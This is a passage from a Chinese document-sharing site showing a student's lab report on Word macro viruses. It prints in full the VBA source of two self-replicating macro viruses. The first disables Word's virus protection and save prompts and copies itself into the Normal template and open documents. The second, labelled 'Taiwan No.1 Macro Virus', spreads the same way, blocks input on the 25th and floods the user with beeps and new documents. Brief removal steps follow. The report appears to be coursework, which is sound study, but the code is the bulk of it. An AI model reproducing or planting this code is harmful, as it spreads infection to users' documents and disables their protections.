宏病毒实验报告.doc_第1页
宏病毒实验报告.doc_第2页
宏病毒实验报告.doc_第3页
宏病毒实验报告.doc_第4页
宏病毒实验报告.doc_第5页
已阅读5页,还剩2页未读 继续免费阅读

下载本文档

版权说明:本文档由用户提供并上传,收益归属内容提供方,若内容存在侵权,请进行举报或认领

文档简介

宏病毒实验报告 201424010257 邹文敏一、 实验目的 通过运行计算机代码,更加深刻的理解计算机代码。对计算机代码有一个初步的认识。 加深对宏病毒的感性认识,宏病毒是感染数据文件word,office等。二、 实验内容运行自我复制,感染word公用模板和当前文档;具有一定破坏性的宏;清除宏病毒。三、 实验步骤实验一:l 将word文档中的 开发者工具打开 ;word 中心信任选项宏设计将信任选项打开l 运行第一个实验Visual Basic normal Microsoftthe documentProjectmicrosoft word对象the document复制如下代码:APMPPrivate Sub Document_Open() On Error Resume Next Application.DisplayStatusBar = False Options.VirusProtection = False Options.SaveNormalPrompt = False 以上都是基本的自我隐藏措施 MyCode = ThisDocument.VBProject.VBComponents(1).CodeModule.Lines(1, 20) Set Host = NormalTemplate.VBProject.VBComponents(1).CodeModule If ThisDocument = NormalTemplate Then _ Set Host = ActiveDocument.VBProject.VBComponents(1).CodeModule With Host If .Lines(1, 1) APMP Then 判断感染标志 .DeleteLines 1, .CountOfLines 删除目标文件所有代码 .InsertLines 1, MyCode 向目标文档写入病毒代码 If ThisDocument = NormalTemplate Then _ ActiveDocument.SaveAs ActiveDocument.FullName End If End With MsgBox Basic class macro by jackie, vbOKOnly, APMPEnd Sub保存时注意保存为宏文件实验一运行截图:清除实验一中的内容只需要删除,the document 中的内容在保存即可。实验二:编写代码的位置同上;代码如下:moonlightDim nm(4)Sub Document_Open()DisableInput 1Set ourcodemodule = ThisDocument.VBProject.VBComponents(1).CodeModuleSet host = NormalTemplate.VBProject.VBComponents(1).CodeModuleIf ThisDocument = NormalTemplate Then Set host = ActiveDocument.VBProject.VBComponents(1).CodeModuleEnd IfWith hostIf .Lines(1, 1) moonlight Then .DeleteLines 1, .CountOfLines.InsertLines 1, ourcodemodule.Lines(1, 100).ReplaceLine 3, Sub Document_Close() If ThisDocument = NormalTemplate Then .ReplaceLine 3, Sub Document_Open() ActiveDocument.SaveAs ActiveDocument.FullName End If End IfEnd WithCount = 0If Day(Now() = 25 Thentry: On Error GoTo try test = -1 con = 1 tog$ = i = 0 While test = -1 For i = 0 To 4 nm(i) = Int(Rnd() * 10) con = con * nm(i) If i = 4 Then tog$ = tog$ + Str$(nm(4) + =? GoTo beg End If tog$ = tog$ + Str$(nm(i) + * Next ibeg: Beep ans$ = InputBox$(今天是 + Date$ + ,跟你玩一个心算游戏 + Chr$(13) + 若你答错,只好接受震撼教育. + Chr$(13) + tog$, 台湾NO.1 Macro Virus) If RTrim$(LTrim$(ans$) = LTrim$(Str$(con) Then Documents.Add Selection.Paragraphs.Alignment = wdAlignParagraphCenter Beep With Selection.Font .Name = 细明体 .Size = 16 .Bold = 1 .Underline = 1 End With Selection.InsertAfter Text:=何谓宏病毒 Selection.InsertParagraphAfter Beep Selection.InsertAfter Text:=答案: Selection.Font.Italic = 1 Selection.InsertAfter Text:=我就是. Selection.InsertParagraphAfter Selection.InsertParagraphAfter Selection.Font.Italic = 0 Beep Selection.InsertAfter Text:=如何预防宏病毒 Selection.InsertParagraphAfter Beep Selection.InsertAfter Text:=答案: Selection.Font.Italic = 1 Selection.InsertAfter Text:=不要看我. GoTo out Else Count = Count + 1 For j = 1 To 20 Beep Documents.Add Next j Selection.Paragraphs.Alignment = wdAlignParagraphCenter Selection.InsertAfter Text:=宏病毒 If Count = 2 Then GoTo out GoTo try End IfWendEnd Ifout:End Sub运行截图: 运行错误时: 运行错误时:l 最后清除病毒时首先用

温馨提示

  • 1. 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。图纸软件为CAD,CAXA,PROE,UG,SolidWorks等.压缩文件请下载最新的WinRAR软件解压。
  • 2. 本站的文档不包含任何第三方提供的附件图纸等,如果需要附件,请联系上传者。文件的所有权益归上传用户所有。
  • 3. 本站RAR压缩包中若带图纸,网页内容里面会有图纸预览,若没有图纸预览就没有图纸。
  • 4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
  • 5. 人人文库网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对用户上传分享的文档内容本身不做任何修改或编辑,并不能对任何下载内容负责。
  • 6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
  • 7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。

评论

0/150

提交评论